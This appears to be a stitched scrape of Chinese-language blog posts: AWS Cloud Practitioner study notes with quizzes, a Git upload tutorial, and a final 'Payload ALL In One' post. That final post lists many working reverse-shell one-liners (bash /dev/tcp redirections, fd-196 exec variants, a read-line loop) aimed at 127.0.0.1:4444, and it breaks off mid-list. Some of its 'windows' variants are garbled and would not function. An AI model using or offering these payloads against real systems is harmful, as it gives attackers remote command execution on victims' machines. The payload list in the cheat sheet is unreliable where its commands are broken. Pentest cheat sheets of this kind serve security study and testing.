    子網路是 VPC 的一個區段,您可以根據安全或操作需求將資源分組到區段中。子網路可以設為公有或私有。

    公有子網路包含需要開放存取的資源,例如線上商店的網站。

    私有子網路包含只能透過私有網路存取的資源,例如含有客戶個人資訊和訂單紀錄的資料庫。

    • 將 Amazon EC2 執行個體和 Amazon RDS 資料庫執行個體都放在公有子網路中。
    • 將 Amazon EC2 執行個體和 Amazon RDS 資料庫執行個體都放在私有子網路中。

    以下哪個元件可用於建立公司的資料中心和 AWS 之間的私有專用連線?

    • 私有子網路
    • DNS
    • AWS Direct Connect

    其他答案皆不正確,因為:

    • 私有子網路是 VPC 的一個區段,您可以將只能透過私有網路存取的資源分組到這些區段中。儘管私有,但它不會用於建立資料中心和 AWS 之間的連線。
    • DNS 全稱為網域名稱系統,它是用於與 IP 地址的網域名稱比對的目錄。
    • 虛擬私有閘道可讓您在 VPC 和私有網路 (例如公司的資料中心) 之間建立 VPN 連線。雖然此連線為私有且經過加密,但是會流經公有網際網路,而不是經由專用連線。
    • 虛擬私有閘道

    以下哪個敘述與安全群組最相符?

    • 根據預設,它們具有狀態,且會拒絕所有傳入流量。

    安全群組是具狀態的。也就是說,它們在評估執行個體的新請求時,會運用先前的流量模式和流動情形。

    根據預設,安全群組會拒絕所有傳入流量,但您可以新增自訂規則,以便符合自己的操作和安全需求。

    • 根據預設,它們具有狀態,且會允許所有傳入流量。
    • 根據預設,它們沒有狀態,且會拒絕所有傳入流量。
    • 根據預設,它們沒有狀態,且會允許所有傳入流量。

    以下哪個元件使用於將 VPC 連接到網際網路?

    • 公有子網路
    • 節點
    • 安全群組
    • 網際網路閘道

    其他回答選項皆不正確,因為:

    • 公有子網路是 VPC 的區段,包含公有資源。
    • 節點是 Amazon CloudFront 用來存放內容快取副本的地點,藉此加速向客戶交付內容。
    • 安全群組是一種虛擬防火牆,可控制 Amazon EC2 執行個體的傳入和傳出流量。

    以下哪種服務可用於管理網域名稱的 DNS 記錄?

    • Amazon Virtual Private Cloud
    • AWS Direct Connect
    • Amazon CloudFront
    • Amazon Route 53

    Amazon Route 53 是一種 DNS Web 服務。它提供可靠的方式,讓開發人員和企業將終端使用者路由到託管於 AWS 的網際網路應用程式。

    Route 53 還具備能力管理網域名稱的 DNS 紀錄。您可以轉移其他網域註冊機構管理的現有網域名稱下存在的 DNS 記錄。您也可以直接在 Route 53 中註冊新的網域名稱。

    其他選項皆不正確,因為:

    • Amazon Virtual Private Cloud (Amazon VPC) 這項服務可讓您佈建 AWS Cloud 的分隔區段。在這個分隔區段中,您可以在自己定義的虛擬網路中啟動資源。
    • AWS Direct Connect 這項服務可讓您在資料中心和 VPC 之間建立專用私有連線。
    • Amazon CloudFront 是一種內容交付服務。這種服務使用節點網路來快取內容,並將內容交付給世界各地的客戶。

AWS Basic Architecture (一, 二)

單元一簡介

  1. AWS 提供廣泛的服務:AWS 提供各種服務,從基本的運算、儲存和網路安全工具,到複雜的解決方案,如區塊鏈、機器學習、人工智慧和機器人開發平台。

  2. 用戶端-伺服器模型:現代運算通常使用用戶端-伺服器模型。

    Untitled

    • 用戶端可以是 Web 瀏覽器或桌面應用程式,向伺服器提出請求
    • 伺服器可以是虛擬伺服器,如 Amazon EC2。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    用戶端                          伺服器
    (客人) (咖啡師)

    | |
    |提出點咖啡的請求 -----------> |
    |<------ 檢查請求是否合法---- |
    | |
    |准備支付 |
    |------------>確認支付是否成功 |
    |<------準備咖啡------------- |
    | |
    |收到咖啡 <-----------咖啡完成 |

    ------------------------------------------
    在此流程圖中:

    - 用戶端代表了咖啡店的客人,他們提出點咖啡的請求。
    - 伺服器代表了咖啡店的咖啡師,他們負責準備咖啡。
    - 箭頭表示信息的流動方向,從用戶端到伺服器,以及從伺服器到用戶端。
  3. 按需支付:AWS 的支付模式是按需支付,不需要預先支付任何費用,也不必擔心容量限制。只有在需要時才支付費用,並且可以隨時釋放不再需要的資源。

  4. 雲端運算基礎概念:AWS 的基礎概念包括按需計費、彈性伸縮、安全性、高可用性等。這些概念有助於業務有效地運行在雲端平台上。

  5. 教育和支援:AWS 提供廣泛的教育和支援,讓用戶能夠瞭解和利用 AWS 的各種功能和服務,包括培訓課程、文件和社群支援。

雲端運算

  • 雲端運算的核心概念
    • 雲端運算是透過網際網路提供的 IT 資源隨需交付
      • 隨需交付
        • AWS 可在有需求時立即提供所需資源
        • 無需事先告知何時需要資源
        • 靈活地啟用和停用資源,隨即停止付費
        • 非常靈活,無法透過自行管理資料中心實現的靈活性
    • IT 資源的概念
      • 重要性
        • AWS 的目標是協助用戶專注於突顯業務獨特性
      • 無差異的繁重工作
        • AWS 針對重複性高、耗時的任務提供協助
        • 用戶可以透過安全的網頁主控台或程式設計方式存取資源
      • 實支實付的定價
        • 用戶只需支付所使用的資源費用
        • 無需預付費用或額外合約
    • 雲端運算的部署模型
      • 雲端
        • 在雲端中執行完整的應用程式
        • 遷移現有應用程式或建立新應用程式
      • 內部部署
        • 使用虛擬化和資源管理工具部署資源
        • 提高資源使用率
      • 混合
        • 將雲端資源連接到內部部署基礎設施
        • 整合雲端資源與傳統 IT 應用程式
  • 雲端運算的優勢
    • 將預付成本轉成變動成本
      • 省去投資於資料中心和伺服器的預先投資
    • 停止將資金花費在執行和維護資料中心上
      • 減少在基礎設施管理上的時間和金錢
    • 無需猜測容量
      • 不必預先評估需要多少基礎設施容量
      • 可根據需求動態調整資源
    • 受益於大範圍規模經濟
      • 可以享有更低的成本
    • 提升速度和敏捷性
      • 可以更快速地開發和部署應用程式
    • 快速進入全球市場
      • 可以迅速向全球部署應用程式並降低延遲

單元一測驗

回答本測驗中的問題,測試您對本單元中某些主要概念的理解程度。

  1. 什麼是雲端運算?
  • 將儲存在桌上型電腦和行動裝置中的檔案加以備份,以防資料遺失

  • 部署連線至內部部署基礎設施的應用程式

  • 無需管理或佈建伺服器即可執行程式碼

  • 透過網路以實支實付定價方式收費的 IT 資源和應用程式隨需交付

    其他回答選項皆不正確,因為:

    檔案雖然可以備份到雲端,但第一個選項並未完整解釋雲端運算。

    部署連接到內部部署基礎設施的應用程式是混合雲端部署的使用案例。別忘了,雲端運算還有雲端和內部部署 (或私有雲端) 的部署模型。

    AWS Lambda 是一項 AWS 服務,可讓您在不需要管理或佈建伺服器的情況下執行程式碼。這項描述並未完整說明雲端運算

  1. 內部部署的別稱是什麼?
  • 私有雲端部署

    其他回答選項皆不正確,因為:

    雲端應用程式會完全部署在雲端中,不會有以內部部署方式執行的任何部分。

    混合部署會連接起雲端資源與雲端外現有資源 (例如內部部署資源) 之間的基礎設施和應用程式。不過,混合部署並不等同於內部部署,因為它需使用到位於雲端的資源。

    AWS 雲端提供三種雲端部署模型:雲端、混合和內部部署。 AWS 雲端不等同於內部部署本身。

  • 雲端應用程式

  • 混合部署

  • AWS 雲端

  1. 雲端運算的規模為何有助於節省成本?
  • 您不必在使用技術資源之前預先進行投資。

  • 大量客戶的雲端用量經過彙總後,會產生較低廉的實支實付價格。

    其他回答選項皆不正確,因為:

    您不必在使用技術資源之前預先進行投資,請參考將預付成本轉成變動成本

    隨需存取服務可避免容量過多或受限,請參考無需猜測容量

    可快速向客戶部署應用程式部署,並降低延遲,請參考快速進入全球市場

  • 隨需存取服務有助於防止容量過剩或受限。

  • 您可以快速向客戶部署應用程式,並且降低延遲。

單元二簡介

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
- AWS (Amazon Web Services)
|
|- Amazon Elastic Compute Cloud (Amazon EC2)
| |
| |- 靈活、符合成本效益、快速的運算
| |- 虛擬化技術管理的實體主機電腦上執行
| | |- 會與多個其他執行個體(虛擬機器)一起共用主機
| | |- Hypervisor
| | | |- 虛擬機器之間分享基礎實體資源
| | | |- 共用基礎硬體的概念稱為多租用戶(由AWS管理)
| |- 代替內部部署資源
| |- 啟動 EC2 執行個體的流程
| | |
| | |- 1. 啟動
| | | |- 選擇基本組態範本、執行個體類型
| | | | |- 包括作業系統、應用程式伺服器或應用程式
| | | |- 指定安全設定
| | | | |- 控制可往來流經執行個體的網路流量
| | |- 2. 連接
| | | |- 多種方式連接到執行個體
| | | | |- 程式和應用程式有多種不同方法來直接連接到執行個體並交換資料
| | | | |- 使用者登入並存取電腦桌面來連接執行個體
| | |- 3. 使用
| | |- 在執行個體中執行命令、安裝軟體等
| |
| |- 執行個體的靈活性和控制性
| | |
| | |- 選擇作業系統和執行軟體
| | |- **垂直擴展**執行個體(擴大或縮小)
| | |- 控制網路連結層面
| | | | |- 決定伺服器可以接收請求的類型、是否可公開/私有方式存取
|
|- 優點
| |
| |- 將預付成本轉成變動成本
| |- 停止將資金花費在執行和維護資料中心上
| |- 無需猜測容量
| |- 受益於大範圍規模經濟
| |- 提升速度和敏捷性
| |- 快速進入全球市場
|
|- 雲端運算的部署模型
|
|- 以雲端為基礎進行部屬
| |- 在雲端中執行完整的應用程式
| |- 將現有的應用程式遷移至雲端
| |- 在雲端中設計和建立新的應用程式
|
|- 內部部屬之部署方式
| |- 透過虛擬化和資源管理工具部署資源
| |- 運用應用程式管理和虛擬化技術提高資源使用率
|
|- 混合部署
|- 將雲端資源連接到內部部署基礎設施
|- 整合雲端資源與傳統 IT 應用程式

  • 當虛擬機器共用主機的資源時,Hypervisor 會負責將虛擬機器彼此分隔
  • 這表示 EC2 執行個體很安全。即使它們會共用資源,某個 EC2 執行個體並無法感知到該主機上是否存在任何其他 EC2 執行個體
  • 它們會彼此分隔,並受到保護
  • CaaS 運算即服務

Amazon EC2 執行個體類型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Amazon EC2 執行個體類型

├── 一般用途執行個體
│ ├── 平衡運算、記憶體、網路資源
│ ├── 適用於各種工作負載,如應用程式伺服器、遊戲伺服器等

├── 運算最佳化執行個體
│ ├── 專為運算密集型任務設計
│ ├── 適用於高效能 Web 伺服器、運算密集的應用程式伺服器等
│ ├── 批次處理工作負載

├── 記憶體最佳化執行個體
│ ├── 專為處理大型資料集的工作負載設計
│ ├── 適合記憶體密集型任務
│ ├── 適用於高效能資料庫、即時處理大量資料的工作負載等

├── 加速運算執行個體
│ ├── 使用硬體加速器提高效率
│ ├── 用於浮點數計算、圖形處理,或是資料模式比對
│ ├── 適用於圖形應用程式、遊戲串流等
│ ├── 採用硬體加速器

└── 儲存最佳化執行個體
├── 專為處理超大型資料集的存取工作負載設計
├── 適用於分散式檔案系統、資料倉儲應用程式等
├── 需要對本機儲存資料進行高效能處理的工作負載

知識檢測

  1. 什麼 Amazon EC2 執行個體類型適合資料倉儲應用?
  • 記憶體最佳化
  • 儲存最佳化
  • 一般用途
  • 運算最佳化
  1. 哪一種 Amazon EC2 執行個體類型可以取得運算、記憶體和連網資源的平衡?
  • 記憶體最佳化
  • 儲存最佳化
  • 一般用途
  • 運算最佳化
  1. 什麼 Amazon EC2 執行個體類型最適合高效能資料庫?
  • 記憶體最佳化
  • 儲存最佳化
  • 一般用途
  • 運算最佳化
  1. 哪一種 Amazon EC2 執行個體類型提供高效能處理器?
  • 記憶體最佳化
  • 儲存最佳化
  • 一般用途
  • 運算最佳化

Amazon EC2 定價

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Amazon EC2 定價選項
├── 隨需定價
│ ├── 執行個體執行的時間長度付費
│ ├── 適用於不可中斷的短期不定期工作負載
│ ├── 無需預付成本或最低合約
│ ├── 適用於開發、測試應用程式等使用模式無法預測的情況
├── 預留執行個體
│ ├── 標準預留執行個體
│ │ ├── 適用於穩定狀態的應用程式
│ │ ├── 提前承諾一定的用量以獲得折扣
│ │ ├── 可選擇 EC2 執行個體類型、大小、作業系統、租用等
│ ├── 可轉換預留執行個體
│ ├── 適用於需要在不同區域或不同執行個體類型中執行的情況
│ ├── 提供更高折扣並具有更大靈活性
├── EC2 執行個體 Savings Plans
│ ├── 提供折扣,最多可節省72%,需承諾一定的用量和時間
│ ├── 無需指定 EC2 執行個體類型和大小、作業系統和租用
│ ├── 對執行個體系列和區域做出 1 年期或 3 年期的每小時支出承諾,可降低 EC2 執行個體成本
│ ├── 定價方式也適用於 AWS Fargate 和 AWS Lambda 用量
├── Spot 執行個體
│ ├── 適用於彈性或可承受中斷的工作負載
│ ├── 最高可節省 90% 成本,但需承受執行個體可能中斷的風險
│ | ├── 容量不再可用或 Spot 執行個體的需求增加,個體可能會中斷
├── 專用主機
├── 提供完全專用的實體伺服器
├── 可用於維持授權合規、購買隨需的專用主機和專用主機保留
├── 專用主機價格最高

知識檢測

  1. 您指定多個 EC2 執行個體在一個區域中執行特定作業系統、執行個體系列和大小及租用時,哪個 Amazon EC2 定價選項可提供折扣?
  • 可轉換預留執行個體

  • EC2 執行個體 Savings Plans

  • Spot 執行個體

  • 標準預留執行個體

    標準預留執行個體要求您指定:

    • 執行個體系列和大小
    • 平台說明
    • 租用
    • 區域

    您指定數量的 EC2 執行個體涵蓋 1 年期或 3 年期

您對執行個體系列和區域做出 1 年期或 3 年期限的每小時支出承諾時,哪個 Amazon EC2 定價選項可提供折扣?

  • 隨需
  • EC2 執行個體 Savings Plans
  • Spot 執行個體
  • 預留執行個體

擴展 Amazon EC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
AWS 的可擴展性和彈性

├── 內部部署資料中心的困境
│ ├── 問題: 難以預測需求,容易出現資源閒置或不足的情況
│ ├── 解決方案: AWS 提供的可擴展性和彈性服務

├── AWS 的解決方案
│ ├── 可擴展性
│ │ ├── 定義: 根據需求變化自動增減資源,確保足夠的運算容量
│ │ ├── AWS 服務: Amazon EC2 Auto Scaling
│ │ │ ├── 動態調整: 根據實際需求變化自動調整執行個體數量
│ │ │ └── 預測擴展: 根據預測需求自動增減執行個體數量
│ │ │ ├── 加速擴展: 同時使用動態調整和預測擴展
│ │ │
│ ├── 彈性
│ ├── 定義: 建立具有高可用性和容錯能力的系統
│ ├── 方法: 透過解耦和備援來達到

└── 關鍵概念
├── 可擴展性: 根據實際需求自動調整資源量,確保足夠的運算容量
└── 彈性: 建立高可用性和容錯能力的系統,應對各種潛在問題

  • 可擴展性意味著僅以所需資源開始使用,並且透過設計架構,藉由向外擴展或向內縮減來自動回應需求的變化
  • 只需為所用資源付費,不必擔心運算容量不足,無法滿足客戶需求
  • Amazon EC2 Auto Scaling 可讓您根據不斷變化的應用程式需求,自動新增或移除 Amazon EC2 執行個體
  • 藉由自動增減所需執行個體,可以維持更高的應用程式可用性

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
應付成長的需求:向上擴展 vs. 水平擴展

├── 向上擴展
│ ├── 定義: 為正在執行的電腦提供更多效能
│ ├── 缺點: 增加單一執行個體的效能無法解決客戶需求變化的問題

├── 解耦系統的優勢
│ ├── 解釋: 每個執行個體只負責特定的任務,不需增加執行個體來解決單一執行個體負載過大的問題
│ └── 好處: 可根據需求調整每個部分的效能,避免過度佈建

└── 水平擴展的解決方案
├── Amazon EC2 Auto Scaling
│ ├── 定義: 根據需求自動增減執行個體數量
│ ├── 功能:
│ │ ├── 最小容量: 確保至少有一個執行個體在運行
│ │ ├── 所需容量: 根據需求設定執行個體數量
│ │ └── 最大容量: 設定最大執行個體數量以避免過度擴展
│ └── 優點: 可以動態調整執行個體數量,節省成本並滿足客戶需求
└── 成本效益
└── 優勢: 只需支付實際使用的執行個體,節省成本並提供最佳客戶體驗

透過 Elastic Load Balancing 導引流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
負載平衡器 (Load Balancer)

├── 負載平衡器的作用
│ ├── 解釋: 負責將傳入的請求路由到多個執行個體進行處理
│ └── 目的: 確保每個執行個體的工作負載均衡,提高效能和可用性

├── 需要負載平衡器的情況
│ ├── 客戶需求不平均: 導致某些執行個體負載過大,而其他閒置
│ ├── 需要將請求路由到正確的執行個體: 解決多個執行個體間的流量路由問題
│ └── 需要高效能、成本效益、高度可用、自動擴展的系統

└── Elastic Load Balancing (ELB)
├── 定義: AWS 的一項受管服務,自動在多個執行個體之間分配傳入流量
├── 特性:
│ ├── 高度可用: 在區域層級執行,具備高度可用性,無需額外操作
│ ├── 自動擴展: 可處理額外的輸送量,每小時成本維持不變
│ └── 自動調整: 根據執行個體的動態變化,自動調整負載
├── 應用場景:
│ ├── 前端流量: 將傳入流量分配到多個前端執行個體中
│ └── 後端通訊: 將流量路由到最少負載的後端執行個體中
└── 重要性: ELB 和 Amazon EC2 Auto Scaling 共同運作,確保應用程式提供高效能和可用性

  • 如果您有多個 Amazon EC2 執行個體,Elastic Load Balancing 會將工作負載分配到多個執行個體,因此單一執行個體無須承載大部分工作負載
  • 雖然 Elastic Load Balancing 和 Amazon EC2 Auto Scaling 各為不同服務,但兩者共同運作時,有助於確保 Amazon EC2 中執行的應用程式能夠提供高效能和可用性。

低需求期間

低需求期間

高需求期間

高需求期間

Untitled

Untitled

訊息與佇列

重點 1: 訊息與佇列
符號: 📩

  • 定義: 將訊息放置在緩衝區中,以解耦應用程式元件之間的通訊。
  • 舉例流程: 收銀員點餐 -> 放置訂單到佇列 -> 咖啡師從佇列取得訂單 -> 製作飲料 -> 移除已完成訂單

重點 2: 緊湊耦合 vs. 鬆散耦合
符號: 🔗 vs. 🔗🔄

  • 定義:
    • 緊湊耦合: 元件之間耦合緊密,一個元件的故障可能影響整個系統
    • 鬆散耦合: 元件之間耦合較鬆散,一個元件的故障不會影響整個系統
  • 舉例流程:
    • 緊湊耦合: 應用程式 A 直接傳送訊息給應用程式 B -> B 故障 -> A 開始發生錯誤
    • 鬆散耦合: 訂單放置到佇列 -> 咖啡師取得訂單 -> 製作飲料 -> 移除已完成訂單

重點 3: AWS 服務: Amazon Simple Queue Service (SQS)
符號: 📨

  • 定義: 可在任何軟體元件之間傳送、存放和接收訊息的服務。
  • 舉例流程: 訂單放置到佇列 -> 咖啡師取得訂單 -> 製作飲料 -> 移除已完成訂單

重點 4: AWS 服務: Amazon Simple Notification Service (SNS)
符號: 📢

  • 定義: 透過發布/訂閱模型將訊息傳送至服務或通知終端使用者的服務。
  • 舉例流程: 收銀員點餐 -> 放置訂單到佇列 -> 咖啡師取得訂單 -> 製作飲料 -> 移除已完成訂單

重點 5: 單體式應用程式 vs. 微型服務
符號: ⬛ vs. 🔲

  • 定義:

    • 單體式應用程式: 元件之間耦合緊密,一個元件的故障可能導致整個應用程式失效。

      Untitled

    • 微型服務: 元件之間耦合較鬆散,一個元件的故障不會影響整個應用程式。

      Untitled

  • 舉例流程:

    • 單體式應用程式: 元件耦合緊密 -> 故障可能導致整個應用程式失效
      • 具備緊耦合元件的應用程式,這些元件可能包括資料庫、伺服器、使用者介面、商業邏輯等
    • 微型服務: 元件彼此鬆散耦合 -> 故障不會影響整個應用程式
      • 服務和元件滿足不同的功能
      • 有兩種服務可促成應用程式的整合:Amazon Simple Notification Service (Amazon SNS) 和 Amazon Simple Queue Service (Amazon SQS)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
點餐流程 (單體式應用程式):
客人 -> 收銀員 -> 咖啡師 -> 客人

點餐流程 (解耦式使用SQS):
客人 -> 收銀員 -> SQS (佇列) <- 咖啡師 -> 客人

電子報發布流程 (SNS):
發布者 -> SNS 主題 -> 訂閱者

訂單處理流程 (解耦式使用SQS):
收銀員 -> SQS (佇列) <- 咖啡師

咖啡店的訂單流程:

客人 --> 收銀員:點餐
收銀員 --> 佇列:放入訂單
佇列 --> 咖啡師:取得訂單
咖啡師 --> 客人:製作飲料
咖啡師 --> 佇列:完成訂單移除

知識檢測

  1. 哪一種 AWS 服務是向訂閱者發布訊息的最佳選擇?
  • Amazon Simple Queue Service (Amazon SQS)
  • Amazon EC2 Auto Scaling
  • Amazon Simple Notification Service (Amazon SNS)
  • Elastic Load Balancing

其他回答皆不正確,因為:

  • Amazon Simple Queue Service (Amazon SQS) 是訊息佇列服務,它不會使用涉及 Amazon SNS 的訊息訂閱和主題模型。
  • Amazon EC2 Auto Scaling 可讓您根據不斷變化的應用程式需求,自動新增或移除 Amazon EC2 執行個體。
  • Elastic Load Balancing 是一種可將傳入的應用程式流量自動分配到多個資源 (例如 Amazon EC2 執行個體) 的 AWS 服務。

其他運算服務

Untitled

  • 將程式碼上傳到 Lambda。
  • 將程式碼設定為從事件來源 (例如 AWS 服務、行動應用程式或 HTTP 端點) 觸發。
  • Lambda 只會在觸發時執行程式碼。
  • 您只需為使用的運算時間支付費用。在前述的影像大小調整範例中,您只需針對上傳新影像時所用的運算時間付費。上傳影像會觸發 Lambda 執行調整影像大小的程式碼。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
AWS 運算服務
├─ EC2 (Elastic Compute Cloud)
│ ├─ 靈活、可靠、高度可擴展
│ ├─ 適用於各種使用案例
│ ├─ 需要自行設定和管理執行個體機群
│ └─ 試著託管傳統應用程式且想要完整存取基礎作業系統例如 Linux 或 Windows
├─ 無伺服器運算
│ ├─ Lambda
│ │ ├─ 無需佈建或管理這些伺服器環境,完全不想要管理基礎環境
│ │ ├─ 只需專注於應用程式開發
│ │ ├─ 每次觸發都會自動擴展函數
│ │ └─ 託管短期執行的函數、服務導向或事件導向的應用程式
│ └─ Fargate
│ ├─ 可用於 ECS 或 EKS 的無伺服器運算平台
│ ├─ 想要在 AWS 上執行 Docker 容器型工作負載(選擇工具 (ECS or EKS) -> 選擇平台 (自行管理的EC2 or Fargate代替管理)
│ └─ 不需管理基礎環境,只需專注於應用程式
└─ 容器服務
├─ ECS (Elastic Container Service)
│ ├─ 高度擴展的高效能容器管理系統
│ └─ 支援 Docker 容器
├─ EKS (Elastic Kubernetes Service)
│ ├─ 全受管服務,用於在 AWS 上執行 Kubernetes
│ └─ 支援大規模部署和管理容器化應用程式
└─ 其他容器化服務

咖啡廳舉例的流程圖:

咖啡廳
├─ 顧客進入咖啡廳
│ ├─ 選擇座位
│ │ ├─ 在內用區域
│ │ │ ├─ 選擇桌子
│ │ │ └─ 坐下等待
│ │ └─ 在外帶區域
│ │ ├─ 排隊點餐
│ │ └─ 等待取餐
│ └─ 等待服務員接待
│ ├─ 服務員接待顧客
│ └─ 點餐
└─ 顧客享用咖啡
├─ 室內用餐
│ ├─ 服務員送上餐點
│ └─ 顧客享用
└─ 外帶
├─ 服務員呼叫顧客取餐
└─ 顧客取餐

無伺服器運算

Untitled

  • 佈建執行個體 (虛擬伺服器)
  • 上傳程式碼
  • 在應用程式執行時繼續管理執行個體

試著託管傳統應用程式且想要完整存取基礎作業系統例如 Linux 或 Windows

第二單元總結

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
雲端運算
└─ 定義:透過網際網路提供的 IT 資源隨需交付,採實支實付的定價形式

AWS 服務
├─ EC2 (Elastic Compute Cloud)
│ ├─ 定義:動態啟動及關閉虛擬伺服器
│ ├─ 類別:一般用途、運算最佳化、記憶體最佳化、加速運算、儲存最佳化
│ └─ 擴展:垂直擴展、水平擴展 (使用 Auto Scaling)
├─ 定價模式:隨需選項、Spot 定價、Savings Plans 或預留執行個體
├─ Elastic Load Balancer:將傳入流量分配給 EC2 執行個體
├─ 訊息服務:SQS (Simple Queue Service) 和 SNS (Simple Notification Service)
├─ 容器服務:ECS (Elastic Container Service) 和 EKS (Elastic Kubernetes Service)
├─ 無伺服器運算:AWS Lambda 和 AWS Fargate
└─ Lambda:可直接上傳程式碼並設定觸發條件執行,只在實際執行程式碼時收費

單元二測驗

  1. 如果您想要將 Amazon EC2 執行個體使用於批次處理工作負載,那麼最好使用哪種 Amazon EC2 執行個體類型?
  • 一般用途
  • 記憶體最佳化
  • 運算最佳化
  • 儲存最佳化

其他回答選項皆不正確,因為:

  • 一般用途的執行個體會平衡使用計算、記憶體和網路資源。此執行個體系列對於這個案例中的應用程式並非最佳選擇。運算最佳化執行個體比一般用途的執行個體更適合批次處理的工作負載。
  • 記憶體最佳化執行個體較適合需處理記憶體中大型資料集的工作負載,例如高效能資料庫。
  • 儲存最佳化執行個體專為需要對本機儲存體上的大型資料集進行高量連續讀取和寫入存取的工作負載所設計。問題並未指定要處理的資料規模。批次處理的方式為分組處理資料。運算最佳化執行個體非常適合這種類型可從高效能處理器中受益的工作負載。
  1. Amazon EC2 預留執行個體的合約長度選項有哪些?(請選取兩個。)
  • 1 年
  • 2 年
  • 3 年
  • 4 年
  • 5 年

預留執行個體需要 1 年或 3 年的承諾。3 年期選項提供更高的折扣。

  1. 您的工作負載總共會執行 6 個月,並且可以承受中斷,那麼最具成本效益的 Amazon EC2 購買選項是什麼?
  • 預留執行個體
  • Spot 執行個體
  • 專用執行個體
  • 隨需執行個體

其他回答選項皆不正確,因為:

  • 預留執行個體需要 1 年或 3 年的合約期。此案例中的工作負載只會執行 6 個月。
  • 在單一客戶專用硬體上的 Virtual Private Cloud (VPC) 中執行的專用執行個體。這個選項比其他在共用硬體執行的選項具有更高成本。
  • 隨需執行個體符合僅執行 6 個月的需求。不過,Spot 執行個體才是最佳選擇,因為它不需要最低合約期,且能夠承受中斷,成本也低於隨需執行個體。
  1. 哪個程序是 Elastic Load Balancing 的範例?
  • 確保沒有任何一個 Amazon EC2 執行個體必須自行執行完整工作負載
  • 在需求低時移除不需要的 Amazon EC2 執行個體
  • 在線上商店的熱門銷售期間新增第二個 Amazon EC2 執行個體
  • 自動調整 Amazon EC2 執行個體的數量,以便滿足需求

Elastic Load Balancing 是一種可在多個資源 (例如 Amazon EC2 執行個體) 之間自動分配傳入應用程式流量的 AWS 服務。這項特性有助於確保沒有任何一個資源會遭過度使用。

其他選項都是 Auto Scaling 的範例。

  1. 如果您想要部署和管理容器化的應用程式,您應該使用哪一種服務?
  • AWS Lambda
  • Amazon Simple Notification Service (Amazon SNS)
  • Amazon Simple Queue Service (Amazon SQS)
  • Amazon Elastic Kubernetes Service (Amazon EKS)

Amazon EKS 是一項完全受管的 Kubernetes 服務。Kubernetes 是一種開放原始碼軟體,可讓您大規模部署和管理容器化應用程式。

其他回答選項皆不正確,因為:

  • AWS Lambda 這項服務用於讓您無需佈建或管理伺服器就能執行程式碼。
  • Amazon Simple Queue Service (Amazon SQS) 這項服務用於讓您透過佇列在軟體元件之間傳送、存放和接收訊息。
  • Amazon Simple Notification Service (Amazon SNS) 是一種發布/訂閱服務。使用 Amazon SNS 主題,發布者可將訊息發布給訂閱者。

Upload Multiple Files To Github

先到Github創建一個新的專案

記得自己電腦要安裝git才能在本地用指令上傳檔案

使用管理員權限開啟CMD

接下來輸入:

系統會在該專案的資料夾中建立.git,用於暫存檔案

1
git init

新增所有的檔案到暫存區,失敗才會跳出訊息

1
git add .

可以輸入git status來查看當前狀態上傳狀態

透過輸入git log則可以顯示相關紀錄

建立版本資訊

1
git commit -m "XXX"

建立分支,以main為例,有些會是master

1
git branch -M main

輸入專案位置位置進行連結

1
git remote add origin https://github.com/"你的Github帳號"/"專案名稱".git

有時會無法push到github中,因為線上的版本內容比你電腦這份還新

可以先將內容抓下來後使用rebase方式合併

1
git pull --rebase origin main

上一條指令無法運行就嘗試下面這個

強迫硬push上去,會把原本的內容覆蓋掉

1
git push -f

最後將專案推送至遠端版本庫origin,origin(遠端版本庫)/main(分支)

1
git push -u origin main

Payload ALL In One

Reverse shell

  • 一種網路通信,其中建立從遠端主機(「攻擊者」)到目標主機(「受害者」)的連接
  • 攻擊者能夠在受害者的電腦上執行命令,就好像他們在受害者的電腦上執行指令一樣
  • 透過利用受害者系統中的漏洞或誘騙受害者來運行建立 reverse shell 的惡意程式完成

example IP: 127.0.0.1
example Port: 4444

For Linux/MAC

  • Bash -i
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- sh -i >& /dev/tcp/127.0.0.1/4444 0>&1
- /bin/sh -i >& /dev/tcp/127.0.0.1/4444 0>&1
- bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
- /bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

windows
- cmd -i >& /dev/tcp/127.0.0.1/4444 0>&1
- powershell -i >& /dev/tcp/127.0.0.1/4444 0>&1
- pwsh -i >& /dev/tcp/127.0.0.1/4444 0>&1

  • Bash 196
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; sh <&196 >&196 2>&196
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; /bin/sh <&196 >&196 2>&196
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; bash <&196 >&196 2>&196
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; /bin/bash <&196 >&196 2>&196

windows
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; cmd <&196 >&196 2>&196
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; powershell <&196 >&196 2>&196
- 0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; pwsh <&196 >&196 2>&196

  • Bash read line
1
2
3
4

linux/mac/windows
- exec 5<>/dev/tcp/127.0.0.1/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

  • Bash 5
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- sh -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5
- /bin/sh -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5
